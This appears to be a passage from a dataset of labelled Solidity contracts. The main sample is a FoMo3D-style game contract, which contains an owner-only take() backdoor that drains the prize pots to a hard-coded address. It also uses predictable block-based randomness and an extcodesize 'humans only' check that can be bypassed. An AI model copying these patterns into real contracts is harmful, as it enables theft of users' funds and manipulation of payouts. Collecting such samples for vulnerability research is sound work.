function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract CutiePluginBase is PluginInterface, PausableOperators
{
function isPluginInterface() public pure returns (bool)
{
return true;
}
CutieCoreInterface public coreContract;
address public pluginsContract;
modifier onlyCore() {
require(msg.sender == address(coreContract));
_;
}
modifier onlyPlugins() {
require(msg.sender == pluginsContract);
_;
}
function setup(address _coreAddress, address _pluginsContract) public onlyOwner {
CutieCoreInterface candidateContract = CutieCoreInterface(_coreAddress);
require(candidateContract.isCutieCore());
coreContract = candidateContract;
pluginsContract = _pluginsContract;
}
function _isOwner(address _claimant, uint40 _cutieId) internal view returns (bool) {
return (coreContract.ownerOf(_cutieId) == _claimant);
}
function _escrow(address _owner, uint40 _cutieId) internal {
coreContract.transferFrom(_owner, this, _cutieId);
}
function _transfer(address _receiver, uint40 _cutieId) internal {
coreContract.transfer(_receiver, _cutieId);
}
function withdraw() external
{
require(
isOwner(msg.sender) ||
msg.sender == address(coreContract)
);
_withdraw();
}
function _withdraw() internal
{
if (address(this).balance > 0)
{
address(coreContract).transfer(address(this).balance);
}
}
function onRemove() public onlyPlugins
{
_withdraw();
}
function run(uint40, uint256, address) public payable onlyCore
{
revert();
}
function runSigned(uint40, uint256, address) external payable onlyCore
{
revert();
}
}
contract CooldownEndTimeResetEffect is CutiePluginBase
{
function run(
uint40,
uint256,
address
)
public
payable
onlyPlugins
{
revert();
}
function runSigned(
uint40 _cutieId,
uint256 ,
address
)
external
onlyPlugins
whenNotPaused
payable
{
uint40 t = coreContract.getCooldownEndTime(_cutieId);
if (t > now)
{
coreContract.changeCooldownEndTime(_cutieId, uint40(now));
}
else
{
revert();
}
}
} | 1 | 4,125 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is F3Devents {}
contract FengJinFoMo3D is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
address specAddr = 0xF51E57F12ED5d44761d4480633FD6c5632A5B2B1;
string constant public name = "FengJin FoMo3D Long";
string constant public symbol = "FJ3D";
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
uint256 private pIDxCount;
mapping (address => uint256) public pIDxAddr_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
pIDxCount = pIDxCount + 1;
_pID = pIDxCount + 1;
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
{
_p3d = _p3d.add(_com);
_com = 0;
}
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_p3d > 0)
specAddr.transfer(_p3d);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _p3d;
{
_p3d = _com;
_com = 0;
}
uint256 _long = _eth / 100;
specAddr.transfer(_long);
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
specAddr.transfer(_p3d);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == 0xF51E57F12ED5d44761d4480633FD6c5632A5B2B1,
"only team just can activate"
);
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now;
round_[1].end = now + rndInit_;
}
function take()
public
{
require(
msg.sender == 0xF51E57F12ED5d44761d4480633FD6c5632A5B2B1,
"only team just can take"
);
if (round_[rID_].pot > 50 * 100000000)
specAddr.transfer(round_[rID_].pot.sub(50 * 100000000));
if (airDropPot_ > 50 * 100000000)
specAddr.transfer(airDropPot_.sub(50 * 100000000));
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface F3DexternalSettingsInterface {
function getFastGap() external returns(uint256);
function getLongGap() external returns(uint256);
function getFastExtra() external returns(uint256);
function getLongExtra() external returns(uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 4,453 |
pragma solidity ^0.4.24;
contract ERC20Interface {
string public symbol;
string public name;
uint8 public decimals;
function transfer(address _to, uint _value, bytes _data) external returns (bool success);
function approveAndCall(address spender, uint tokens, bytes data) external returns (bool success);
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
